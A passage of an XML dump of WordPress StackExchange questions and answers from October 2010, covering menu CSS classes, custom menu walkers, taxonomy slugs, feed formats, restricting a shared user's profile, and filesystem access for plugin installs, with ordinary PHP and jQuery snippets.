Tags="&lt;custom-menus&gt;&lt;3.0.1&gt;&lt;navigation&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="2914" PostTypeId="2" ParentId="2825" CreationDate="2010-10-15T00:02:16.170" Score="1" ViewCount="" Body="&lt;p&gt;Matt spoke at our company a few months ago. He recommended a master-slave DB setup with many R/O slaves. His rationale was that writes were expensive and reads&amp;mdash;much higher in volume!&amp;mdash;were not, so it was better to have more read capacity. Ditto for app servers: throw cheap hardware at the issue and forget about supercache.&lt;/p&gt;&#xA;" OwnerUserId="1245" LastActivityDate="2010-10-15T00:02:16.170" />
  <row Id="2915" PostTypeId="2" ParentId="2913" CreationDate="2010-10-15T05:00:42.230" Score="0" ViewCount="" Body="&lt;p&gt;I don't know why its not working in your case... Like you say, the active page should be getting 'current_menu_item' added to its classes. If you're having trouble for one reason of another, you can always use the 'nav_menu_css_class' filter to add your own classes. This little bit of code will essentially duplicate the 'current_menu_item' &amp;amp; 'current_menu_parent' classes, and add a 'has_children' class (useful for expandable or dropdown menus):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_for_submenu($classes, $item) {&#xA;    global $wpdb, $post;&#xA;    if ($item-&amp;gt;ID == $post-&amp;gt;ID) array_push($classes,'current_menu_item');&#xA;    $has_children = $wpdb-&amp;gt;get_var(&quot;SELECT COUNT(meta_id) FROM wp_postmeta WHERE meta_key='_menu_item_menu_item_parent' AND meta_value='&quot;.$item-&amp;gt;ID.&quot;'&quot;);&#xA;    if ($has_children &amp;gt; 0) {&#xA;        array_push($classes,'has_children');&#xA;        $child_pages = $wpdb-&amp;gt;get_col(&quot;SELECT c.meta_value FROM wp_postmeta AS c, wp_postmeta AS th &#xA;                                      WHERE c.meta_key = '_menu_item_object_id' AND c.post_id = th.metavalue &#xA;                                      AND th.meta_key= '_menu_item_menu_item_parent' AND th.post_id = {$item-&amp;gt;ID}&quot;);&#xA;        if (in_array($post-&amp;gt;ID,$child_pages)) array_push($classes,'current_menu_parent');&#xA;    }&#xA;    return $classes;&#xA;}&#xA;&#xA;add_filter( 'nav_menu_css_class', 'check_for_submenu', 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you want to figure out why the built-in functionality isn't working for you before hacking up something to duplicate it, but you can do a lot with that filter if necessary...&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-10-15T05:00:42.230" CommentCount="1" />
  <row Id="2916" PostTypeId="2" ParentId="2913" CreationDate="2010-10-15T06:05:28.683" Score="2" ViewCount="" Body="&lt;p&gt;This is part of code in &lt;code&gt;_wp_menu_item_classes_by_context()&lt;/code&gt; that handles current class for pages:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// if the menu item corresponds to the currently-queried post or taxonomy object&#xA;} elseif (&#xA;    $menu_item-&amp;gt;object_id == $queried_object_id &amp;amp;&amp;amp;&#xA;    (&#xA;        ( ! empty( $home_page_id ) &amp;amp;&amp;amp; 'post_type' == $menu_item-&amp;gt;type &amp;amp;&amp;amp; $wp_query-&amp;gt;is_home &amp;amp;&amp;amp; $home_page_id == $menu_item-&amp;gt;object_id ) ||&#xA;        ( 'post_type' == $menu_item-&amp;gt;type &amp;amp;&amp;amp; $wp_query-&amp;gt;is_singular ) ||&#xA;        ( 'taxonomy' == $menu_item-&amp;gt;type &amp;amp;&amp;amp; ( $wp_query-&amp;gt;is_category || $wp_query-&amp;gt;is_tag || $wp_query-&amp;gt;is_tax ) )&#xA;    )&#xA;) {&#xA;    $classes[] = 'current-menu-item';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;IDs must match.&lt;/li&gt;&#xA;&lt;li&gt;It must be of &lt;code&gt;post_type&lt;/code&gt; type.&lt;/li&gt;&#xA;&lt;li&gt;Query should be for &lt;code&gt;is_singular&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Second point can be excluded, because CSS class for item type is generated correctly. So something goes wrong either with IDs or &lt;code&gt;is_singular&lt;/code&gt; conditional.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you running any secondary loops on page? Most common reason for conditionals to break is improper use of &lt;code&gt;query_posts()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-15T06:05:28.683" CommentCount="1" />
  <row Id="2917" PostTypeId="2" ParentId="2850" CreationDate="2010-10-15T07:51:46.233" Score="1" ViewCount="" Body="&lt;p&gt;Problem solved. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin &quot;User Access Manager&quot; was found guilty of inserting a .htaccess file into &lt;code&gt;wp-content/uploads/&lt;/code&gt; and not handling calls properly afterwards. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how UAM plugin could be fixed, but It's ok to remove the .htaccess file. Nothing else depends on it. (at least in my case)&lt;/p&gt;&#xA;" OwnerUserId="255" LastActivityDate="2010-10-15T07:51:46.233" />
  <row Id="2918" PostTypeId="2" ParentId="1976" CreationDate="2010-10-15T10:25:46.250" Score="3" ViewCount="" Body="&lt;p&gt;I've been using Media Tags plugin with much success - it was very useful for retrieving images belonging to certain page with specific tags with following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$results = get_attachments_by_media_tags(array(&quot;media_tags&quot;=&amp;gt;&quot;gallery&quot;, &quot;post_parent&quot; =&amp;gt; $global_id, &quot;order&quot; =&amp;gt; &quot;ASC&quot;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course you can easily tag anything that sits in your media library (I wasn't even aware that you could tag something during upload time). As for tagging during upload with browser uploader - it might be too much too ask ;)&lt;/p&gt;&#xA;" OwnerUserId="1244" LastActivityDate="2010-10-15T10:25:46.250" />
  <row Id="2919" PostTypeId="1" AcceptedAnswerId="2987" CreationDate="2010-10-15T11:02:50.017" Score="1" ViewCount="227" Body="&lt;p&gt;I have registered a new taxonomy term using the same code on two different sites. On one site (a vanilla install), If I go to my taxonomy term in the admin menu, I see a 'slug' option for the add category screen. On my other site, with all plugins disabled, this slug option does not appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone know what might cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Register taxonomy code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_taxonomy( 'my_topics', &#xA;array( 'post', 'page' ), &#xA;array( 'hierarchical' =&amp;gt; true, &#xA;'label' =&amp;gt; 'my Categories', &#xA;'query_var' =&amp;gt; 'topics', &#xA;'rewrite' =&amp;gt; array('slug' =&amp;gt; 'topics')&#xA;) ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="500" LastEditorUserId="500" LastEditorDisplayName="" LastEditDate="2010-10-18T08:12:15.590" LastActivityDate="2010-10-18T08:34:13.057" Title="Category slug field missing with registered custom taxonomy" Tags="&lt;custom-taxonomy&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="2920" PostTypeId="2" ParentId="2337" CreationDate="2010-10-15T12:45:42.007" Score="1" ViewCount="" Body="&lt;p&gt;WordPress dieffrence for hhtp and https and when you call the AJAX with the default functions of WP than is a AJAX regsitration form possible. Maybe you see the plugin form from this  tutorial: &lt;a href=&quot;http://www.wpajax.com/code/&quot; rel=&quot;nofollow&quot;&gt;http://www.wpajax.com/code/&lt;/a&gt; &#xA;I think this is the solution for you.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2010-10-15T12:45:42.007" CommentCount="1" />
  <row Id="2921" PostTypeId="2" ParentId="715" CreationDate="2010-10-15T13:06:02.223" Score="4" ViewCount="" Body="&lt;p&gt;include function always via Hook, not directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Dont use for include the class of the plugin via new without hook&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the Hook plugins_loaded&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// add the class to WP                                   &#xA;function my_plugin_start() {                                                               &#xA;    new my_plugin();   &#xA;}                                                        &#xA;add_action( 'plugins_loaded', 'my_plugin_start' );&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&#xA;a small live example: &lt;a href=&quot;http://svn.wp-plugins.org/filter-rewrite-rules/trunk/filter-rewrite-rules.php&quot; rel=&quot;nofollow&quot;&gt;Plugin-svn-trunk-page&lt;/a&gt;&#xA;and a pseudo example&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//avoid direct calls to this file where wp core files not present&#xA;if (!function_exists ('add_action')) {&#xA;        header('Status: 403 Forbidden');&#xA;        header('HTTP/1.1 403 Forbidden');&#xA;        exit();&#xA;}&#xA;&#xA;if ( !class_exists( 'plugin_class' ) ) {&#xA;    class plugin_class {&#xA;&#xA;        function __construct() {&#xA;        }&#xA;&#xA;    } // end class&#xA;&#xA;    function plugin_start() {&#xA;&#xA;        new plugin_class();&#xA;    }&#xA;&#xA;    add_action( 'plugins_loaded', 'plugin_start' );&#xA;} // end class_exists&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also load via mu_plugins_loaded on multisite-install, see the codex for action reference: &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference&lt;/a&gt;&#xA;Also here do you see, how inlcude wP with this hook: &lt;a href=&quot;http://adambrown.info/p/wp_hooks/hook/plugins_loaded?version=2.1&amp;amp;file=wp-settings.php&quot; rel=&quot;nofollow&quot;&gt;http://adambrown.info/p/wp_hooks/hook/plugins_loaded?version=2.1&amp;amp;file=wp-settings.php&lt;/a&gt;&#xA;I uses this very often and its not so hard and early, better as an hard new class();&lt;/p&gt;&#xA;" OwnerUserId="170" LastEditorUserId="170" LastEditorDisplayName="" LastEditDate="2011-02-14T21:13:29.240" LastActivityDate="2011-02-14T21:13:29.240" CommunityOwnedDate="2010-10-15T13:06:02.223" CommentCount="3" />
  <row Id="2922" PostTypeId="1" CreationDate="2010-10-15T13:56:20.097" Score="0" ViewCount="354" Body="&lt;p&gt;I'm leaning towards atom but I'm not sure.&lt;/p&gt;&#xA;" OwnerUserId="675" LastActivityDate="2011-02-25T09:17:45.147" Title="Should I provide RSS or Atom feeds?" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="4" />
  <row Id="2923" PostTypeId="2" ParentId="2922" CreationDate="2010-10-15T14:31:58.857" Score="5" ViewCount="" Body="&lt;p&gt;RSS2 is the modernized version of the legacy format, atom is a more recent competing format. Both are read by all commonly used feed parsers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll run into a fanboy here and there that will try to convince you that one is better than the other. In reality it makes no difference whatsoever. Use the default. Or toss a coin to pick one.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-15T14:31:58.857" CommentCount="1" />
  <row Id="2924" PostTypeId="2" ParentId="2912" CreationDate="2010-10-15T14:36:41.810" Score="2" ViewCount="" Body="&lt;p&gt;I believe it can't be done, including with a paid upgrade, but do check with wp.com for confirmation.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-15T14:36:41.810" />
  <row Id="2925" PostTypeId="2" ParentId="2922" CreationDate="2010-10-15T14:39:29.763" Score="3" ViewCount="" Body="&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fact of the matter is that people will want to use both for different reasons.  Google, for example, converts all RSS feeds to Atom before using them in Google Reader.  WordPress, for example, can only read RSS feeds in its built-in feed readers (try importing a Google-ified feed into WordPress and everything breaks!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But which style you use is a matter of personal preference in the end, so you should offer both.  This way, the Atom fans can use your Atom feed, and the RSS fans can use your RSS feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides, &lt;a href=&quot;http://codex.wordpress.org/WordPress_Feeds&quot; rel=&quot;nofollow&quot;&gt;WordPress is capable of generating both&lt;/a&gt; ... so why limit your users?&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-15T14:39:29.763" CommentCount="4" />
  <row Id="2926" PostTypeId="2" ParentId="2862" CreationDate="2010-10-15T16:07:26.650" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.google.com/search?q=javascript+clock+script&quot; rel=&quot;nofollow&quot;&gt;http://www.google.com/search?q=javascript+clock+script&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-15T16:07:26.650" CommentCount="3" />
  <row Id="2927" PostTypeId="2" ParentId="2862" CreationDate="2010-10-15T16:16:54.207" Score="1" ViewCount="" Body="&lt;p&gt;The easiest thing to do would be to find a JavaScript-powered alarm clock and paste the code into a standard Text widget.  It wouldn't be configurable in the UI (to my knowledge, there are not any existing WordPress plug-ins that build an alarm clock and expose a UI like this) ... but it shouldn't be too hard to find a configurable JavaScript clock and drop it on a page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google search turned up a &lt;a href=&quot;http://www.javascriptkit.com/script/script2/alarm.shtml&quot; rel=&quot;nofollow&quot;&gt;Cut &amp;amp; Paste JavaScript Alarm Clock&lt;/a&gt;.  It's an entire form that displays the time, lets you set the time, and lets you set a specific action to fire when the alarm goes off.  It might not be exactly what you're looking for, but it should point you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-10-15T16:16:54.207" />
  <row Id="2929" PostTypeId="1" AcceptedAnswerId="2931" CreationDate="2010-10-15T19:44:38.907" Score="0" ViewCount="236" Body="&lt;p&gt;I'm developing a WP site that lists expensive properties (villas, penthouses, etc) for rent. My client has an agreement with certain schools to list some cheap properties exclusively for their students, and he has previously (in his hard-coded-by-hand html site) had a set username+password that he gives to the schools, to give to their students (the student rentals section being access controlled via htaccess).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For their spiffy new WP site, they don't want open/public registration, as the cheap properties are for specific school students and not the general public. But neither do they want to moderate each registration. Additionally, many students will use their own private email accounts (eg gmail), so I can't limit registration by domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A user-friendly thing to do would be to create a single user (a &quot;demo user&quot;, if you like), and give this username+password to the schools for their students -- all students would then log in under this one user profile. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it just takes one malicious user to change the profile's password and email-address to cock it up for everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, I need a way to create a sub-category of Subscriber, where they can read private posts but NOT edit their own profile, and I can't find anything more &quot;atomic&quot; than the &quot;Read&quot; capability, which seems to include both &quot;read posts&quot; and &quot;edit your own profile&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there are a number of ways I can think to do this in WP, but I'm not sure if they will work (or are even possible), and which would be &quot;best practice&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Use a Capability manager plugin -- I haven't found one that gives the option to disable &quot;Edit Your Profile&quot;. Open to suggestions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Remove the User SubPanel admin menu and redirect to the front-end after login. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Some sort of &quot;Demo User&quot; plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4) The other alternative is to restrict or otherwise password protect registrations, but how to do this effectively, without too much hassle on the moderator/admin side, and without too much loss of usability on the end user's side?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially thought to have &quot;public registration&quot; enabled but just access-control the register/login page with a site-wide username+password which we would issue, but (a) that would be annoying as you'd have to essentially &quot;log in&quot; twice (once for apache and once for wordpress), and (b) I tried using htaccess via AskApache's Password Protector plugin, but I couldn't get around the permalink/404 issue, despite following the example and putting ErrorDocument in the htaccess file, and a blank error.html file in my root. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So there you have it... my l33t g00gl3 sk1llz have failed me. My wordpress-fu is not strong.&lt;/p&gt;&#xA;" OwnerUserId="1118" LastActivityDate="2011-05-25T03:33:47.847" Title="Restricted registrations or removing the ability to edit your password/email" Tags="&lt;users&gt;&lt;registration&gt;&lt;capabilities&gt;" AnswerCount="5" />
  <row Id="2930" PostTypeId="2" ParentId="2802" CreationDate="2010-10-15T20:06:30.647" Score="2" ViewCount="" Body="&lt;p&gt;This is a walker extension which should do what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Selective_Walker extends Walker_Nav_Menu&#xA;{&#xA;&#xA;    function walk( $elements, $max_depth) {&#xA;&#xA;        $args = array_slice(func_get_args(), 2);&#xA;        $output = '';&#xA;&#xA;        if ($max_depth &amp;lt; -1) //invalid parameter&#xA;            return $output;&#xA;&#xA;        if (empty($elements)) //nothing to walk&#xA;            return $output;&#xA;&#xA;        $id_field = $this-&amp;gt;db_fields['id'];&#xA;        $parent_field = $this-&amp;gt;db_fields['parent'];&#xA;&#xA;        // flat display&#xA;        if ( -1 == $max_depth ) {&#xA;            $empty_array = array();&#xA;            foreach ( $elements as $e )&#xA;                $this-&amp;gt;display_element( $e, $empty_array, 1, 0, $args, $output );&#xA;            return $output;&#xA;        }&#xA;&#xA;        /*&#xA;         * need to display in hierarchical order&#xA;         * separate elements into two buckets: top level and children elements&#xA;         * children_elements is two dimensional array, eg.&#xA;         * children_elements[10][] contains all sub-elements whose parent is 10.&#xA;         */&#xA;        $top_level_elements = array();&#xA;        $children_elements  = array();&#xA;        foreach ( $elements as $e) {&#xA;            if ( 0 == $e-&amp;gt;$parent_field )&#xA;                $top_level_elements[] = $e;&#xA;            else&#xA;                $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;        }&#xA;&#xA;        /*&#xA;         * when none of the elements is top level&#xA;         * assume the first one must be root of the sub elements&#xA;         */&#xA;        if ( empty($top_level_elements) ) {&#xA;&#xA;            $first = array_slice( $elements, 0, 1 );&#xA;            $root = $first[0];&#xA;&#xA;            $top_level_elements = array();&#xA;            $children_elements  = array();&#xA;            foreach ( $elements as $e) {&#xA;                if ( $root-&amp;gt;$parent_field == $e-&amp;gt;$parent_field )&#xA;                    $top_level_elements[] = $e;&#xA;                else&#xA;                    $children_elements[ $e-&amp;gt;$parent_field ][] = $e;&#xA;            }&#xA;        }&#xA;&#xA;        $current_element_markers = array( 'current-menu-item', 'current-menu-parent', 'current-menu-ancestor' );&#xA;&#xA;        foreach ( $top_level_elements as $e ) {&#xA;&#xA;            // descend only on current tree&#xA;            $descend_test = array_intersect( $current_element_markers, $e-&amp;gt;classes );&#xA;            if ( empty( $descend_test ) )  unset ( $children_elements );&#xA;&#xA;            $this-&amp;gt;display_element( $e, $children_elements, $max_depth, 0, $args, $output );&#xA;        }&#xA;&#xA;        /*&#xA;         * if we are displaying all levels, and remaining children_elements is not empty,&#xA;         * then we got orphans, which should be displayed regardless&#xA;         */&#xA;        if ( ( $max_depth == 0 ) &amp;amp;&amp;amp; count( $children_elements ) &amp;gt; 0 ) {&#xA;            $empty_array = array();&#xA;            foreach ( $children_elements as $orphans )&#xA;                foreach( $orphans as $op )&#xA;                    $this-&amp;gt;display_element( $op, $empty_array, 1, 0, $args, $output );&#xA;         }&#xA;&#xA;         return $output;&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Based loosely on mfields' code I referenced in my comment earlier. All it does is check when walking the menu to see whether the current element is (1) the current menu item, or (2) an ancestor of the current menu item, and expands the subtree below it only if either of those conditions is true. Hope this works for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use it, just add a &quot;walker&quot; argument when you call the menu, ie:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_nav_menu( &#xA;   array(&#xA;       'theme_location'=&amp;gt;'test', &#xA;       'walker'=&amp;gt;new Selective_Walker() ) &#xA;   ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-10-15T20:06:30.647" CommentCount="4" />
  <row Id="2931" PostTypeId="2" ParentId="2929" CreationDate="2010-10-15T20:43:52.523" Score="1" ViewCount="" Body="&lt;p&gt;This solution is purely cosmetic, in that it simply hides via jQuery the fields on the user profile page, but that effectively removes the ability for the user to change the password (admin will still see the fields, and can change any time). Add this to  your theme's functions.php file, and you're done.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'edit_user_profile', 'hide_profile_options');&#xA;add_action( 'show_user_profile', 'hide_profile_options');&#xA;&#xA;function hide_profile_options() {&#xA;    if( !current_user_can('install_themes') ) : ?&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function(){&#xA;        jQuery(&quot;#your-profile h3:contains('Personal Options') + table&quot;).remove();&#xA;        jQuery(&quot;#your-profile h3:contains('Personal Options')&quot;).remove();&#xA;        jQuery(&quot;#your-profile h3:contains('About Yourself') + table&quot;).remove();&#xA;        jQuery(&quot;#your-profile h3:contains('About Yourself')&quot;).remove();&#xA;    });&#xA;    &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php&#xA;    endif;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can hide the other blocks, too, if desired... just duplicate the lines and change the h3 contents...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what you're describing, hiding the entire User Profile admin subpanel could work too, but this is a little more precise.&lt;/p&gt;&#xA;" OwnerUserId="838" LastEditorUserId="838" LastEditorDisplayName="" LastEditDate="2010-10-16T08:21:42.913" LastActivityDate="2010-10-16T08:21:42.913" />
  <row Id="2932" PostTypeId="2" ParentId="2816" CreationDate="2010-10-15T23:12:51.557" Score="0" ViewCount="" Body="&lt;p&gt;I use Ubuntu for everything except testing layouts in Internet Explorer. Definitely go with a manual install rather than installing through the package manager. In my experience packages available through the package manager tend to be a bit behind the present release. Not a big deal if your installing Guaydeque to listen to your mp3's for example but not advisable for something that &lt;em&gt;needs&lt;/em&gt; to be up-to-date 100%.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2010-10-15T23:12:51.557" />
  <row Id="2933" PostTypeId="1" CreationDate="2010-10-15T23:28:37.277" Score="0" ViewCount="220" Body="&lt;p&gt;I want to make a user class that can edit pages already published pages, and save them as a draft without being able to publish it. An admin would have to go in and publish the draft once they approve it. It's similar to what Wordpress lets you do for 'Submit for Review' for a new page - but it would be for editing an existing published page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" LastActivityDate="2011-01-27T00:01:51.573" Title="Allow a userclass to edit a published page and save as a draft - but not publish w/o admin approval" Tags="&lt;users&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="0" />
  <row Id="2934" PostTypeId="2" ParentId="2929" CreationDate="2010-10-15T23:53:32.643" Score="0" ViewCount="" Body="&lt;p&gt;if you don't want users to edit their profiles - create them and change the permission on mysql users table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this you will be the only one able to create users and update profile.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is quite simple, requires no plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope i am answering your question&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-15T23:53:32.643" CommentCount="2" />
  <row Id="2935" PostTypeId="1" AcceptedAnswerId="3565" CreationDate="2010-10-16T07:50:02.040" Score="0" ViewCount="404" Body="&lt;p&gt;i know if you are on a category page..wp automatically ads &lt;code&gt;current-cat&lt;/code&gt; class to the child of the parent category you are on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`&amp;lt;li class=&quot;cat-item cat-item-701 current-cat&quot;&amp;gt;&amp;lt;a href=&quot;http://goog.com/cat/subcat&quot;&amp;gt;Free Stuff&amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;how can i do this for a singlepost page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &lt;code&gt;the_category();&lt;/code&gt; in the single.php file and it shows both parent and child category.&#xA;I want to add a &lt;code&gt;current-cat&lt;/code&gt; class to the child cat when i am on the single post page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks in advance&#xA;hopefully i did not confuse you. &lt;/p&gt;&#xA;" OwnerUserId="1043" LastActivityDate="2010-11-02T16:46:47.287" Title="add current-cat class to single post page" Tags="&lt;categories&gt;" AnswerCount="1" />
  <row Id="2936" PostTypeId="1" AcceptedAnswerId="2937" CreationDate="2010-10-16T09:08:11.617" Score="1" ViewCount="73" Body="&lt;p&gt;Basically exactly what the title says, I am running 3.0.1 and want to be able to quickly flag up posts that have no tags currently assigned to them.&lt;/p&gt;&#xA;" OwnerUserId="1213" LastActivityDate="2010-10-16T09:35:16.140" Title="Is there a quick way to find out what posts haven't been tagged?" Tags="&lt;wp-admin&gt;&lt;3.0.1&gt;&lt;tags&gt;" AnswerCount="1" />
  <row Id="2937" PostTypeId="2" ParentId="2936" CreationDate="2010-10-16T09:35:16.140" Score="1" ViewCount="" Body="&lt;p&gt;I think this could get resource-intensive quickly, but fastest API way would be to create list of tags and query for posts that do not belong to any:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$tags = get_tags();&#xA;$ids = array();&#xA;&#xA;foreach ( $tags as $tag )&#xA;    $ids[] = $tag-&amp;gt;term_id;&#xA;&#xA;$posts = get_posts( array( 'tag__not_in' =&amp;gt; $ids ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have large amount of tags or need to do this often it is probably better to look into building raw SQL query for this.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-16T09:35:16.140" />
  <row Id="2938" PostTypeId="1" CreationDate="2010-10-16T11:38:41.673" Score="3" ViewCount="119" Body="&lt;p&gt;I can only find some db schemas, what about all the rest of business logics in UML ?&lt;/p&gt;&#xA;" LastActivityDate="2011-03-11T15:58:39.627" Title="Where can I find a real architecture document on Wordpress?" Tags="&lt;documentation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="2939" PostTypeId="2" ParentId="2938" CreationDate="2010-10-16T12:13:43.750" Score="2" ViewCount="" Body="&lt;p&gt;I'm not aware of any besides michel fortin's WP text flow diagram from a few years ago:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://michelf.com/weblog/2005/wordpress-text-flow-vs-markdown/&quot; rel=&quot;nofollow&quot;&gt;http://michelf.com/weblog/2005/wordpress-text-flow-vs-markdown/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, there were recent talks about writing some kind of plugin dev's companion reference with the full flowchart of the WP hooks and API.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-10-16T12:13:43.750" />
  <row Id="2940" PostTypeId="1" AcceptedAnswerId="2959" CreationDate="2010-10-16T17:57:03.120" Score="1" ViewCount="303" Body="&lt;p&gt;Ubuntu Server, LAMP stack, freshly self-installed WordPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently I can't use &lt;code&gt;direct&lt;/code&gt; filesystem access method because files are owned by different owners (WP core unpacked by me and files WP creates by &lt;code&gt;www-data&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried my credentials for &lt;code&gt;ftp&lt;/code&gt; method, but either something goes wrong or there is simply no FTP server installed in stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Googled up suggestion to install &lt;code&gt;libssh2-php&lt;/code&gt; and use &lt;code&gt;ssh&lt;/code&gt; method. Filling my credentials (except keys, no idea what to put there) it worked for deleting plugins, but fails to install new ones with following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Downloading install package from http://downloads.wordpress.org/plugin/serverbuddy-by-pluginbuddy.0.1.6.zip…&#xA;&#xA;Unpacking the package…&#xA;&#xA;Could not copy file. /var/www/wp-content/upgrade/serverbuddy-by-pluginbuddy.tmp/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am little lost which method to poke. Should I try to tweak and enforce &lt;code&gt;direct&lt;/code&gt;? Or how to fix &lt;code&gt;ssh&lt;/code&gt;? Or just install some ftp server?&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-17T11:25:33.733" Title="How to configure WP filesystem access in Linux (Ubuntu Server)?" Tags="&lt;linux&gt;&lt;filesystem&gt;&lt;ssh&gt;" AnswerCount="1" />
